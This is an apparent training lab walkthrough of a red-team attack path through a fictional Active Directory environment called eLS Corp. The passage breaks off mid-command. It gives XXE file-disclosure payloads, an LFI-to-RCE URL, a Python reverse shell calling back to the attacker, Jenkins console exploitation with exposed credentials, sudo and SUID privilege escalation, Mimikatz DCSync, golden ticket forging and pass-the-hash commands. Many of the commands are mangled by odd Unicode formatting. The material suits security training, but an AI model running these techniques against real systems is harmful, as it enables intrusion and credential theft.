Red-teaming Active Directory Lab #3 (ELS.

CORP)
(Attack Path 2)

1
Contents
1 Web Server Attack Path (Path 2) 2

1.1 Prod-SRV . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 3
1.2 OPS-SRV . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 12
1.3 ELS-CHILDDC . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 17
1.4 ELS-DC . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 23
1.5 MGMT-DC . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 27
1.6 JUMP-SRV . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 30
1.7 Admin-SYS . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 32

Scenario
You have been asked to execute a (black-box) red teaming exercise against eLS Corp (including any
related/trusted forest). The letter of engagement has specified:

1. The ADMIN-SYS system as the crown jewel. This means that the ultimate goal of this red teaming
exercise is to obtain access to the ADMIN-SYS system.
2. That during this exercise, the web application hosted on 172.16.250.2 is included in the scope and
you can exploit it to gain initial foothold
3. The mail server hosted on 172.16.250.2 is out of scope and should not be touched
4. That the pentesters’ network range is 172.16.25.0/24 and a static route has been configured so that
pentesters can access the 172.16.250.0/24 network range, where eLS Corp assets exist
5. For any cracking activities use the /usr/share/wordlists/rockyou.txt wordlist, included in latest Kali’s

Hints
Refer to the attack path diagram of page 1 only when you are out of options.

2
1 Prod-SRV Server

Scanning the accessible IP range from the scope of engagement provides us with two possible entry
points both residing on the “172.16.250.2” IP. Specifically, scanning the TCP ports of 172.16.250.2 tells us
that an SMTP server and a web application are running on TCP ports 25 and 80. According to the letter of
engagement, the SMTP server is out of scope.

Accessing port 80 through a web browser reveals that a web service is running with a login/registration

functionality.

3
Registering and checking the request and response from the portal suggests that XML technology is used
to transfer information from the client to the server. Let’s check if the portal is vulnerable to XML
External Entity (XXE) attacks.

Using the following payload after capturing the request in the web portal leads to internal file disclosure.

XXE payload for /etc/passwd file

<? xml\ version = "1.0"\ encoding = "UTF − 8"? >

< ! DOCTYPE\ abc\ [
< ! ENTITY\ ab\ SYSTEM\ "file:///etc/passwd" >
]>

< root >< name > &ab; </name >< tel >\ Y </tel >< email > yb@sq. co </email >< password > aw </password ></𝑟𝑜𝑜𝑡>

Through internal file disclosing, sensitive information can easily be obtained (through the XXE
vulnerability). For now, we will look for the “/etc/passwd” file.

4
A local user named “prod-admin” is clearly visible in the “/etc/passwd” file, let’s enumerate more to see if
we can gain some more information about the discovered user.

Looking at the “.bash_history” file of the “prod-admin” user, another internal file is disclosed which
cannot be obtained via directory brute-forcing.

XXE Payload for .bash_history file

<? 𝑥𝑚𝑙 𝑣𝑒𝑟𝑠𝑖𝑜𝑛 = "1.0" 𝑒𝑛𝑐𝑜𝑑𝑖𝑛𝑔 = "𝑈𝑇𝐹 − 8"? >

< ! 𝐷𝑂𝐶𝑇𝑌𝑃𝐸 𝑎𝑏𝑐 [
< ! 𝐸𝑁𝑇𝐼𝑇𝑌 𝑎𝑏 𝑆𝑌𝑆𝑇𝐸𝑀 "𝑓𝑖𝑙𝑒:///𝒉𝒐𝒎𝒆/𝒑𝒓𝒐𝒅 − 𝒂𝒅𝒎𝒊𝒏/. 𝒃𝒂𝒔𝒉_𝒉𝒊𝒔𝒕𝒐𝒓𝒚" >
]>

< 𝑟𝑜𝑜𝑡 >< 𝑛𝑎𝑚𝑒 > &𝑎𝑏; </𝑛𝑎𝑚𝑒 >< 𝑡𝑒𝑙 > 𝑎𝑠𝑎 </𝑡𝑒𝑙 >< 𝑒𝑚𝑎𝑖𝑙 > 𝑞𝑤𝑒 </𝑒𝑚𝑎𝑖𝑙 >< 𝑝𝑎𝑠𝑠𝑤𝑜𝑟𝑑 > 𝑞𝑤 </𝑝𝑎𝑠𝑠𝑤𝑜𝑟𝑑 ></𝑟𝑜𝑜𝑡 >

<Result>

𝑐𝑎𝑡 /𝑣𝑎𝑟/𝑤𝑤𝑤/ℎ𝑡𝑚𝑙/𝐿𝑎𝑏 − 𝑈𝑠𝑒𝑟. 𝑝ℎ𝑝

𝑐𝑎𝑡 /𝑣𝑎𝑟/𝑤𝑤𝑤/𝐿𝑎𝑏 − 𝐴𝑑𝑚𝑖𝑛. 𝑝ℎ𝑝
𝑐𝑎𝑡 /𝑣𝑎𝑟/𝑤𝑤𝑤/ℎ𝑡𝑚𝑙/𝐿𝑎𝑏 − 𝑈𝑠𝑒𝑟. 𝑝ℎ𝑝 .
𝑙𝑠 − 𝑙𝑎 /𝑣𝑎𝑟/𝑙𝑜𝑔/𝑎𝑢𝑡ℎ. 𝑙𝑜𝑔
𝑙𝑠 − 𝑙𝑎 /𝑣𝑎𝑟/𝑙𝑜𝑔/𝑎𝑢𝑡ℎ. 𝑙𝑜𝑔. 1

</Result>

The interesting internal files disclosed are located at ‘/var/www/html/Lab-User.php’ and ‘/var/www/Lab-
Admin.php’.

5
However, we cannot read the files directly, we will use php filter as our workaround to disclose file
contents in base64 format and then convert it to a readable format.

XXE Payload for Lab-User.php file

<? 𝑥𝑚𝑙 𝑣𝑒𝑟𝑠𝑖𝑜𝑛 = "1.0" 𝑒𝑛𝑐𝑜𝑑𝑖𝑛𝑔 = "𝑈𝑇𝐹 − 8"? >

< ! 𝐷𝑂𝐶𝑇𝑌𝑃𝐸 𝑎𝑏𝑐 [
< ! 𝐸𝑁𝑇𝐼𝑇𝑌 𝑎𝑏 𝑆𝑌𝑆𝑇𝐸𝑀 "𝑝ℎ𝑝://𝑓𝑖𝑙𝑡𝑒𝑟/𝑐𝑜𝑛𝑣𝑒𝑟𝑡. 𝑏𝑎𝑠𝑒64 − 𝑒𝑛𝑐𝑜𝑑𝑒/𝑟𝑒𝑠𝑜𝑢𝑟𝑐𝑒 =/𝒗𝒂𝒓/𝒘𝒘𝒘/𝒉𝒕𝒎𝒍/𝑳𝒂𝒃 − 𝑼𝒔𝒆𝒓. 𝒑𝒉𝒑" >
]>
< 𝑟𝑜𝑜𝑡 >< 𝑛𝑎𝑚𝑒 > &𝑎𝑏; </𝑛𝑎𝑚𝑒 >< 𝑡𝑒𝑙 > 𝑎𝑠𝑎𝑠 </𝑡𝑒𝑙 >< 𝑒𝑚𝑎𝑖𝑙 > 𝑞𝑤𝑒 </𝑒𝑚𝑎𝑖𝑙 >< 𝑝𝑎𝑠𝑠𝑤𝑜𝑟𝑑 > 𝑞𝑤𝑤 </𝑝𝑎𝑠𝑠𝑤𝑜𝑟𝑑 ></𝑟𝑜𝑜𝑡 >

The content of the “/var/www/html/Lab-User.php” file can be viewed, as follows:

Copy the Base64 string from the response body of Burp Suite and then use the following command to read
the contents in a readable format.

6
 𝑒𝑐ℎ𝑜 “𝑏𝑎𝑠𝑒64_𝑓𝑜𝑟𝑚𝑎𝑡” | 𝑏𝑎𝑠𝑒64 − 𝑑

From the file “/var/www/html/Lab-User.php” an input parameter “page” is disclosed which can be used
to include files as parameters in the URL.

Similarly, the content of the “/var/www/Lab-Admin.php” file can also be viewed using the PHP filter.

A URL parameter ‘cmd’ is disclosed for command execution inside ‘Lab-Admin.php’

This means that the file “Lab-User.php” can be used to include another file and the “Lab-Admin.php”
file can be used to execute commands.

Final URL for command execution:

ℎ𝑡𝑡𝑝://172.16.250.2/𝐿𝑎𝑏 − 𝑈𝑠𝑒𝑟. 𝑝ℎ𝑝? 𝑝𝑎𝑔𝑒 =. ./𝐿𝑎𝑏 − 𝐴𝑑𝑚𝑖𝑛. 𝑝ℎ𝑝&𝑐𝑚𝑑 = 𝑤ℎ𝑜𝑎𝑚𝑖

Command execution using above URL:

7
We have successfully exploited the portal through the below vulnerability chain:

“XXE → LFI → RCE”

Next step would be to establish a stable reverse shell leveraging RCE for initial access. Use the
following command to get a reverse shell from the “Prod-SRV” server.

Final URL for reverse shell (change your attacking machine IP & TCP port):

http://172.16.250.2/Lab-User.php?page=../Lab-Admin.php&cmd=python\ -c\ \prime import\

socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("172.16.25.x",777));os.du
p2(s.fileno(),0);\ os.dup2(s.fileno(),1);\ os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'

We will be using Metasploit “multi/handler” module to receive the reverse shell.

𝑢𝑠𝑒 𝑒𝑥𝑝𝑙𝑜𝑖𝑡/𝑚𝑢𝑙𝑡𝑖/ℎ𝑎𝑛𝑑𝑙𝑒𝑟
𝑠𝑒𝑡 𝑝𝑎𝑦𝑙𝑜𝑎𝑑 𝑐𝑚𝑑/𝑢𝑛𝑖𝑥/𝑟𝑒𝑣𝑒𝑟𝑠𝑒_𝑝𝑦𝑡ℎ𝑜𝑛
𝑠𝑒𝑡 𝐿𝐻𝑂𝑆𝑇 < 𝑎𝑡𝑡𝑎𝑐𝑘𝑖𝑛𝑔_𝐼𝑃 >
𝑠𝑒𝑡 𝐿𝑃𝑂𝑅𝑇 < 𝑙𝑖𝑠𝑡𝑒𝑛𝑖𝑛𝑔_𝑝𝑜𝑟𝑡 >
𝑟𝑢𝑛 − 𝑗

Reverse shell of Prod-SRV server.

8
 Neat! We have a shell with ‘www-data’ privileges. Upgrade the session to stable meterpreter
session.

For privilege escalation, “www-data” user can execute “sudo” with “vi” as prod-admin user, this can
be checked & abused as follows:

𝑠ℎ𝑒𝑙𝑙
𝑝𝑦𝑡ℎ𝑜𝑛 − 𝑐 “𝑖𝑚𝑝𝑜𝑟𝑡 𝑝𝑡𝑦; 𝑝𝑡𝑦. 𝑠𝑝𝑎𝑤𝑛(‘/𝑏𝑖𝑛/𝑏𝑎𝑠ℎ’); ”
𝑠𝑢𝑑𝑜 − 𝑙

< 𝑅𝑒𝑠𝑢𝑙𝑡 >

𝑈𝑠𝑒𝑟 𝑤𝑤𝑤 − 𝑑𝑎𝑡𝑎 𝑚𝑎𝑦 𝑟𝑢𝑛 𝑡ℎ𝑒 𝑓𝑜𝑙𝑙𝑜𝑤𝑖𝑛𝑔 𝑐𝑜𝑚𝑚𝑎𝑛𝑑𝑠 𝑜𝑛 𝑃𝑟𝑜𝑑 − 𝑆𝑟𝑣:
(𝒑𝒓𝒐𝒅 − 𝒂𝒅𝒎𝒊𝒏) /𝒖𝒔𝒓/𝒃𝒊𝒏/𝒗𝒊, 𝑵𝑶𝑷𝑨𝑺𝑺𝑾𝑫: 𝑨𝑳𝑳

</𝑅𝑒𝑠𝑢𝑙𝑡 >

𝑠𝑢𝑑𝑜 − 𝑢 𝑝𝑟𝑜𝑑 − 𝑎𝑑𝑚𝑖𝑛 𝑣𝑖

𝑃𝑟𝑒𝑠𝑠 “𝑬𝑺𝑪 +∶ ”

!/𝑏𝑖𝑛/𝑠ℎ
𝑏𝑎𝑠ℎ − 𝑖
𝑤ℎ𝑜𝑎𝑚𝑖

<𝑅𝑒𝑠𝑢𝑙𝑡 >

𝑷𝒓𝒐𝒅 − 𝒂𝒅𝒎𝒊𝒏

</𝑅𝑒𝑠𝑢𝑙𝑡 >

9
Escalated to “prod-admin” user.

However, to move forward we need an internal IP address. Interestingly enough, this machine does
not have another interface. If you recall, during enumeration we found that the “.bash_history” of
the prod-admin user contains links to some log files.

The “10.10.2.4” IP address can be spotted on the “/var/log/auth.log” file.

Note: if the log is filled, it is automatically shifted to “/var/log/auth.log.1” or ‘/var/log/auth.log.2’ and

so on, check this too if the IP address is not found.

With the discovered “10.10.2.4” IP address we will add a route to the “10.10.2.0/24” network and
start a socks server.

10
 On meterpreter prompt

𝑟𝑜𝑢𝑡𝑒 𝑎𝑑𝑑 10.10.2.0/24 < 𝑠𝑒𝑠𝑠𝑖𝑜𝑛_𝐼𝐷 >

𝑟𝑜𝑢𝑡𝑒

Start SOCKS server

𝑢𝑠𝑒 𝑎𝑢𝑥𝑖𝑙𝑖𝑎𝑟𝑦/𝑠𝑒𝑟𝑣𝑒𝑟/𝑠𝑜𝑐𝑘𝑠4𝑎
𝑠ℎ𝑜𝑤 𝑜𝑝𝑡𝑖𝑜𝑛𝑠
𝑠𝑒𝑡 𝑆𝑅𝑉𝐻𝑂𝑆𝑇 172.16.25. 𝑥
𝑠𝑒𝑡 𝑆𝑅𝑉𝑃𝑂𝑅𝑇 < 𝑙𝑖𝑠𝑡𝑒𝑛𝑖𝑛𝑔_𝑝𝑜𝑟𝑡 >
𝑟𝑢𝑛 − 𝑗

Modify /etc/proxychains.conf

𝑠𝑜𝑐𝑘𝑠4𝑎 172.16.25. 𝑥 1080

Now, we will scan the TCP ports of the discovered IP address “10.10.2.4”.

11
2 OPS-SRV Server

Leveraging the route to the “10.10.2.0/24” network and scanning TCP ports using proxychains
reveals that a web server is running on 8080.

Open Firefox (or any web browser) with proxychains and point the browser to port 8080 of 10.10.2.4

URL: http://10.10.2.4:8080

A Jenkins server is running with guessable credentials. Specifically, “admin/admin” is a valid set of
username/password.

After authentication, it is found that the ‘admin’ user has view-only rights. Browsing straight to the
credentials store, clear text credentials of “Jenkins-admin” can be been found.

12
 Browse to:
http://10.10.2.4:8080

Authenticate with:
𝑎𝑑𝑚𝑖𝑛/𝑎𝑑𝑚𝑖𝑛

Head straight to credentials store, following

Credentials were found:

𝑗𝑒𝑛𝑘𝑖𝑛𝑠 − 𝑎𝑑𝑚𝑖𝑛\𝐴𝑑𝑚! 𝑛@𝐽3𝑛𝑘! 𝑛𝑠

Logout and login again as “jenkins-admin” using the identified credentials.

We can establish a shell with the “ops-srv” machine by building and executing a malicious task. In
order to do so we will use Metasploit’s “jenkins_script_console” module.

Configure Exploit:

𝑢𝑠𝑒 𝑒𝑥𝑝𝑙𝑜𝑖𝑡/𝑚𝑢𝑙𝑡𝑖/ℎ𝑡𝑡𝑝/𝑗𝑒𝑛𝑘𝑖𝑛𝑠_𝑠𝑐𝑟𝑖𝑝𝑡_𝑐𝑜𝑛𝑠𝑜𝑙𝑒
𝑠𝑒𝑡 𝑡𝑎𝑟𝑔𝑒𝑡 1
𝑠𝑒𝑡 𝑇𝐴𝑅𝐺𝐸𝑇𝑈𝑅𝐼 /
𝑠𝑒𝑡 𝑅𝑃𝑂𝑅𝑇 8080
𝑠𝑒𝑡 𝑈𝑆𝐸𝑅𝑁𝐴𝑀𝐸 𝑗𝑒𝑛𝑘𝑖𝑛𝑠 − 𝑎𝑑𝑚𝑖𝑛
𝑠𝑒𝑡 𝑃𝐴𝑆𝑆𝑊𝑂𝑅𝐷 𝐴𝑑𝑚! 𝑛@𝐽3𝑛𝑘! 𝑛𝑠

Configure Payload:

𝑠𝑒𝑡 𝑝𝑎𝑦𝑙𝑜𝑎𝑑 𝑙𝑖𝑛𝑢𝑥/𝑥86/𝑠ℎ𝑒𝑙𝑙_𝑏𝑖𝑛𝑑_𝑡𝑐𝑝

𝑠𝑒𝑡 𝑟ℎ𝑜𝑠𝑡 10.10.2.4
𝑠𝑒𝑡 𝑣𝑒𝑟𝑏𝑜𝑠𝑒 𝑡𝑟𝑢𝑒

run

13
Executing the module results in a bind shell on “OPS-SRV” server.

Interestingly, this machine is domain joined which can be confirmed through the presence of a
‘/etc/krb5.conf’ file or successful execution of the command “kinit -k host/$(hostname -f)”.

With access to the “OPS-SRV” machine we will look for any credentials/tickets that can move us
forward. After enumeration, a keytab file is located at “/var/lib/jenkins/support.keytab”.

But there is a problem… We do not have access to the keytab file because it is owned by another user
‘opsadmin’. We need to somehow become opsadmin or get his privileges.

Hopefully, during some priv-esc enumeration, a file named “find” was found located at
“/var/lib/jenkins/find” which has SUID bit set.

Check if OPS-SRV is domain joined or not:

𝑘𝑖𝑛𝑖𝑡 − 𝑘 ℎ𝑜𝑠𝑡/$(ℎ𝑜𝑠𝑡𝑛𝑎𝑚𝑒 − 𝑓)

Keytab file found at:

/𝑣𝑎𝑟/𝑙𝑖𝑏/𝑗𝑒𝑛𝑘𝑖𝑛𝑠/𝑠𝑢𝑝𝑝𝑜𝑟𝑡. 𝑘𝑒𝑦𝑡𝑎𝑏

Get opsadmin privileges, SUID check:

𝑓𝑖𝑛𝑑 / −𝑝𝑒𝑟𝑚 − 𝑢 = 𝑠 − 𝑡𝑦𝑝𝑒 𝑓 2 >/𝑑𝑒𝑣/𝑛𝑢𝑙𝑙

<Result> /𝒗𝒂𝒓/𝒍𝒊𝒃/𝒋𝒆𝒏𝒌𝒊𝒏𝒔/𝒇𝒊𝒏𝒅
14 </Result>
Using the file ‘find’, we will change the permissions of ‘support.keytab’ file and request a new ticket.

Escalate to “opsadmin” user and request a new TGT for support user, as follows.

Escalation to "opsadmin" user:

/𝑣𝑎𝑟/𝑙𝑖𝑏/𝑗𝑒𝑛𝑘𝑖𝑛𝑠/𝑓𝑖𝑛𝑑 𝑎𝑏 − 𝑒𝑥𝑒𝑐 𝑐ℎ𝑚𝑜𝑑 777 𝑠𝑢𝑝𝑝𝑜𝑟𝑡. 𝑘𝑒𝑦𝑡𝑎𝑏 \;

Check the permissions of “support.keytab” file:

𝑙𝑠 − 𝑙𝑎 /𝑣𝑎𝑟/𝑙𝑖𝑏/𝑗𝑒𝑛𝑘𝑖𝑛𝑠/𝑠𝑢𝑝𝑝𝑜𝑟𝑡. 𝑘𝑒𝑦𝑡𝑎𝑏

Request for TGT of support user:

𝑘𝑖𝑛𝑖𝑡 − 𝑘 − 𝑡 𝑠𝑢𝑝𝑝𝑜𝑟𝑡. 𝑘𝑒𝑦𝑡𝑎𝑏 𝑠𝑢𝑝𝑝𝑜𝑟𝑡

Permissions of “support.keytab” file is changed.

15
Now, with enough permissions a TGT related to the “support” domain user can be easily obtained. Let
us now request a CIFS ticket for the “support” user, as follows.

To request a CIFS ticket, use the following and export it back to your attacking machine.

Request for CIFS Ticket for support user (On OPS-SRV machine):
𝑘𝑣𝑛𝑜 𝑐𝑖𝑓𝑠/\𝐸𝐿𝑆 − 𝐶𝐻𝐼𝐿𝐷𝐷𝐶

Convert ticket into base64 (On OPS-SRV machine):

𝑏𝑎𝑠𝑒64 /𝑡𝑚𝑝/𝑘𝑟𝑏5𝑐𝑐_123

Copy base64 data and decode in attacker system (On Attacker Machine):
𝑏𝑎𝑠𝑒64 − 𝑑 𝑎𝑏. 𝑡𝑥𝑡 > /𝑡𝑚𝑝/𝑘𝑟𝑏5𝑐𝑐_123

Set Environment variable on attacker machine:

𝑒𝑥𝑝𝑜𝑟𝑡 𝐾𝑅𝐵5𝐶𝐶𝑁𝐴𝑀𝐸 =/𝑡𝑚𝑝/𝑘𝑟𝑏5𝑐𝑐_123

Transferring the ticket using the base64 method and importing it to current environment variable.

16
3 CHILD-DC Server

Since we have successfully imported a CIFS ticket related to ELS-CHILDDC in our attacking machine,
we can connect to the “ELS-CHILDDC” Domain Controller using the ticket. Also, our meterpreter has
a route to the “10.10.2.0/24” network.

For that we will use impacket’s psexec script, but first we need to add the IP address of ELS-CHILDDC
in our hosts file.

Open /etc/hosts file:

10.10.2.2 𝐸𝐿𝑆 − 𝐶𝐻𝐼𝐿𝐷𝐷𝐶

Using Impacket’s psexec module, connect to ELS-CHILDDC

𝑝𝑟𝑜𝑥𝑦𝑐ℎ𝑎𝑖𝑛𝑠 𝑝𝑦𝑡ℎ𝑜𝑛 𝑝𝑠𝑒𝑥𝑒𝑐. 𝑝𝑦 − 𝑘 − 𝑛𝑜 − 𝑝𝑎𝑠𝑠 − 𝑑𝑒𝑏𝑢𝑔 − 𝑑𝑐 − 𝑖𝑝 10.10.2.2 𝑠𝑢𝑝𝑝𝑜𝑟𝑡@𝐸𝐿𝑆

− 𝐶𝐻𝐼𝐿𝐷𝐷𝐶

NOTE: ‘-k’ option to use the active Kerberos ticket

In short, we are passing the CIFS ticket to the ELS-CHILDDC server from our attacking machine.

This will result in a successful and stable session on the ‘ELS-CHILDDC’ Domain Controller.

17
We will also use the “PROD-SRV” server to transfer payload from one end to another. Via the meterpreter
session on the ‘PROD-SRV’ server upload “Mimikatz.exe” and from that download the file to “ELS-
CHILDDC” server.

On PROD-SRV meterpreter session, upload Mimikatz.exe:

𝑢𝑝𝑙𝑜𝑎𝑑 𝑚𝑖𝑚𝑖𝑘𝑎𝑡𝑧. 𝑒𝑥𝑒 /𝑡𝑚𝑝/𝑚𝑖𝑚𝑖𝑘𝑎𝑡𝑧. 𝑒𝑥𝑒

Start web server to host payload on PROD-SRV server

𝑠ℎ𝑒𝑙𝑙
𝑐𝑑 /𝑡𝑚𝑝/
𝑙𝑠 − 𝑙𝑎 𝑚𝑖𝑚𝑖𝑘𝑎𝑡𝑧. 𝑒𝑥𝑒
𝑝𝑦𝑡ℎ𝑜𝑛 − 𝑚 𝑆𝑖𝑚𝑝𝑙𝑒𝐻𝑇𝑇𝑃𝑆𝑒𝑟𝑣𝑒𝑟 8888

With Active psexec session on ELS-CHILDDC, download the payload:

𝑝𝑜𝑤𝑒𝑟𝑠ℎ𝑒𝑙𝑙. 𝑒𝑥𝑒 𝐼𝑛𝑣𝑜𝑘𝑒 − 𝑊𝑒𝑏𝑅𝑒𝑞𝑢𝑒𝑠𝑡 − 𝑈𝑅𝐼 ℎ𝑡𝑡𝑝://172.16.250.2: 8888/𝑚𝑖𝑚𝑖𝑘𝑎𝑡𝑧. 𝑒𝑥𝑒

− 𝑂𝑢𝑡𝐹𝑖𝑙𝑒 𝐶:\𝑈𝑠𝑒𝑟𝑠\𝑃𝑢𝑏𝑙𝑖𝑐\𝑚𝑖𝑚𝑖𝑘𝑎𝑡. 𝑒𝑥𝑒

Upload Mimikatz.exe:

18
Start Python server on “PROD-SRV” server: -

Downloading, Mimikatz.exe on “ELS-CHILDDC” Domain Controller.

Our payload is successfully transferred to Child Domain Controller. Now let us forge a golden ticket to
escalate to Enterprise Admins of the parent domain.

However, we will need, the following:

- Krbtgt hash of child DC

- Child Domin SID
- Parent Domain SID
- Current Domain FQDN

To extract the krbtgt NTLM hash of the “els-childdc” domain, we will perform a DCSync attack.

𝑚𝑖𝑚𝑖𝑘𝑎𝑡𝑧. 𝑒𝑥𝑒
𝑙𝑠𝑎𝑑𝑢𝑚𝑝: : 𝑑𝑐𝑠𝑦𝑛𝑐 /𝑢𝑠𝑒𝑟: 𝑒𝑙𝑠 − 𝑐ℎ𝑖𝑙𝑑\𝑘𝑟𝑏𝑡𝑔𝑡

<Result>
𝟐𝟎𝟏𝟕𝒇𝟑𝟖𝒇𝟖𝟗𝟕𝒃𝟏𝟒𝟑𝟖𝒆𝟒𝟗𝟑𝒆𝟐𝒆𝒆𝟓𝟖𝒅𝒃𝟗𝟖𝒄𝟎
</Result>

19
See below the extracted NTLM Hash of ‘krbtgt’ from the child domain controller. The SID of the child
domain can be extracted from the result (without RID part).

To enumerate the parent SID value, we can use the Active Directory module already present at the domain
controller.

In the psexec session, switch to Power Shell:

𝑝𝑜𝑤𝑒𝑟𝑠ℎ𝑒𝑙𝑙
𝐼𝑚𝑝𝑜𝑟𝑡 − 𝑀𝑜𝑑𝑢𝑙𝑒 𝐴𝑐𝑡𝑖𝑣𝑒𝐷𝑖𝑟𝑒𝑐𝑡𝑜𝑟𝑦

Enumerate Domains present in the Forest (most importantly SID value of parent domain):

𝐺𝑒𝑡 − 𝐴𝐷𝐷𝑜𝑚𝑎𝑖𝑛
𝐺𝑒𝑡 − 𝐴𝐷𝐹𝑜𝑟𝑒𝑠𝑡
𝐺𝑒𝑡 − 𝐴𝐷𝐷𝑜𝑚𝑎𝑖𝑛 𝑒𝑙𝑠. 𝑐𝑜𝑟𝑝 (𝑓𝑜𝑟 𝑠𝑖𝑑 𝑜𝑓 𝑒𝑙𝑠. 𝑐𝑜𝑟𝑝)

SID of Parent Domain Controller [els.corp] discovered:

20
We have collected all the info needed to perform a golden ticket attack and cross the domain boundary.
Let’s use Mimikatz.exe functionality to create and pass a golden ticket.

Create & Pass Golden Ticket:

𝑘𝑒𝑟𝑏𝑒𝑟𝑜𝑠: : 𝑔𝑜𝑙𝑑𝑒𝑛 /𝑢𝑠𝑒𝑟: 𝑒𝑙𝑠 − 𝑎𝑑𝑚𝑖𝑛 /𝑑𝑜𝑚𝑎𝑖𝑛: 𝑒𝑙𝑠 − 𝑐ℎ𝑖𝑙𝑑. 𝑒𝑙𝑠. 𝑐𝑜𝑟𝑝 /𝑠𝑖𝑑: 𝑆 − 1 − 5 − 21 − 3883140795 − 789752816 −
1587902789 /𝑘𝑟𝑏𝑡𝑔𝑡: 𝟐𝟎𝟏𝟕𝒇𝟑𝟖𝒇𝟖𝟗𝟕𝒃𝟏𝟒𝟑𝟖𝒆𝟒𝟗𝟑𝒆𝟐𝒆𝒆𝟓𝟖𝒅𝒃𝟗𝟖𝒄𝟎 /𝑠𝑖𝑑𝑠: 𝑆 − 1 − 5 − 21 − 286056459 − 1157968049 − 2884264478 − 519
/𝑡𝑖𝑐𝑘𝑒𝑡: 𝑡𝑖𝑐𝑘𝑒𝑡. 𝑘𝑖𝑟𝑏𝑖

𝑘𝑒𝑟𝑏𝑒𝑟𝑜𝑠: 𝑝𝑡𝑡 /𝑡𝑖𝑐𝑘𝑒𝑡. 𝑘𝑖𝑟𝑏𝑖

Golden Ticket:

21
Passing the ticket in active Kerberos session:

To check if the ticket is successfully passed or not, one can always use the ‘klist’ command. Now, we can access
resources of the parent domain and request any service ticket.

We will also extract the NTLM hash of the Enterprise Administrator of “els.corp” domain (found previously
during enumeration activities) using mimikatz.exe

22
 4 ELS-DC Server

With the credentials of “els-admin” enterprise admin, we can perform psexec on the parent DC server.

Perform psexec on ELS-DC server:

𝑝𝑟𝑜𝑥𝑦𝑐ℎ𝑎𝑖𝑛𝑠 𝑝𝑦𝑡ℎ𝑜𝑛 𝑝𝑠𝑒𝑥𝑒𝑐. 𝑝𝑦 − 𝑑𝑒𝑏𝑢𝑔 − 𝑑𝑐 − 𝑖𝑝 10.10.1.3 𝑒𝑙𝑠 − 𝑎𝑑𝑚𝑖𝑛@𝐸𝐿𝑆 − 𝐷𝐶 −

ℎ𝑎𝑠ℎ𝑒𝑠 𝑎𝑎𝑑3𝑏435𝑏51404𝑒𝑒𝑎𝑎𝑑3𝑏435𝑏51404𝑒𝑒: 8645𝑒87𝑒2593507𝑐𝑓623𝑓3291𝑏1334𝑐2

“NT Authority\System” at “ELS-DC” parent domain controller.

Let’s now use the Active-Directory module to perform some enumeration (for abusing a cross-forest trust
later on). Switch to PowerShell and load the AD module to enumerate a forest trust.

Load AD module & perform trust enumeration

𝐼𝑚𝑝𝑜𝑟𝑡 − 𝑀𝑜𝑑𝑢𝑙𝑒 𝐴𝑐𝑡𝑖𝑣𝑒𝐷𝑖𝑟𝑒𝑐𝑡𝑜𝑟𝑦

𝐺𝑒𝑡 − 𝐴𝐷𝑇𝑟𝑢𝑠𝑡 − 𝐹𝑖𝑙𝑡𝑒𝑟 ∗

Output of trust established by the “els.corp” domain.

23
Another domain “mgmt.corp” having a bi-directional trust has been identified in the above result. A Foreign
Security Principal can indirectly be used to abuse the cross-forest trust. Let’s enumerate FSP’s available on
the identified domain “mgmt.corp”.

Enumerate FSPs on mgmt.corp domain

𝐺𝑒𝑡 − 𝐴𝐷𝑂𝑏𝑗𝑒𝑐𝑡 − 𝐹𝑖𝑙𝑡𝑒𝑟 {𝑜𝑏𝑗𝑒𝑐𝑡𝐶𝑙𝑎𝑠𝑠 − 𝑒𝑞 "𝑓𝑜𝑟𝑒𝑖𝑔𝑛𝑆𝑒𝑐𝑢𝑟𝑖𝑡𝑦𝑃𝑟𝑖𝑛𝑐𝑖𝑝𝑎𝑙"} − 𝑠𝑒𝑟𝑣𝑒𝑟 𝑚𝑔𝑚𝑡. 𝑐𝑜𝑟𝑝

A Foreign Security Principal is available on the “mgmt.corp” domain, this means a user in the current domain
“els.corp” is present in the target “mgmt.corp” domain:

Convert the identified user to SID:

24
 Identify User:

𝐺𝑒𝑡 − 𝐴𝐷𝑈𝑠𝑒𝑟 − 𝐹𝑖𝑙𝑡𝑒𝑟 ∗ | ? {$_. 𝑆𝐼𝐷 − 𝑒𝑞 ′𝑆 − 1 − 5 − 21 − 286056459 − 1157968049 − 2884264478 − 1107′}

The foreign user can be identified as “forest_user” of the els.corp domain:

We need to identify the privileges of “forest_user” in the mgmt.corp domain.

Identify on which group ‘forest_user’ is added at mgmt.corp domain:

𝐺𝑒𝑡 − 𝐴𝐷𝐺𝑟𝑜𝑢𝑝 − 𝐹𝑖𝑙𝑡𝑒𝑟 ∗ −𝑃𝑟𝑜𝑝𝑒𝑟𝑡𝑖𝑒𝑠 𝑀𝑒𝑚𝑏𝑒𝑟 − 𝑠𝑒𝑟𝑣𝑒𝑟 𝑚𝑔𝑚𝑡. 𝑐𝑜𝑟𝑝 | ? {$_. 𝑀𝑒𝑚𝑏𝑒𝑟 − 𝑚𝑎𝑡𝑐ℎ ′𝑆 − 1 − 5 − 21
− 3658202825 − 2428483480 − 107650130 − 1107′}

It comes out that ‘forest_user’ is added to local administrators of the ‘mgmt.corp’ domain.

Now, we need to extract the credentials of ‘forest_user’ and then we will perform PTH to the “mgmt.corp”
domain.

Run secretsdump against mgmt.corp domain:

𝑝𝑟𝑜𝑥𝑦𝑐ℎ𝑎𝑖𝑛𝑠 𝑝𝑦𝑡ℎ𝑜𝑛 𝑠𝑒𝑐𝑟𝑒𝑡𝑠𝑑𝑢𝑚𝑝. 𝑝𝑦 − 𝑑𝑒𝑏𝑢𝑔 − 𝑑𝑐 − 𝑖𝑝 10.10.1.3 𝑒𝑙𝑠 − 𝑎𝑑𝑚𝑖𝑛@𝐸𝐿𝑆 − 𝐷𝐶 −

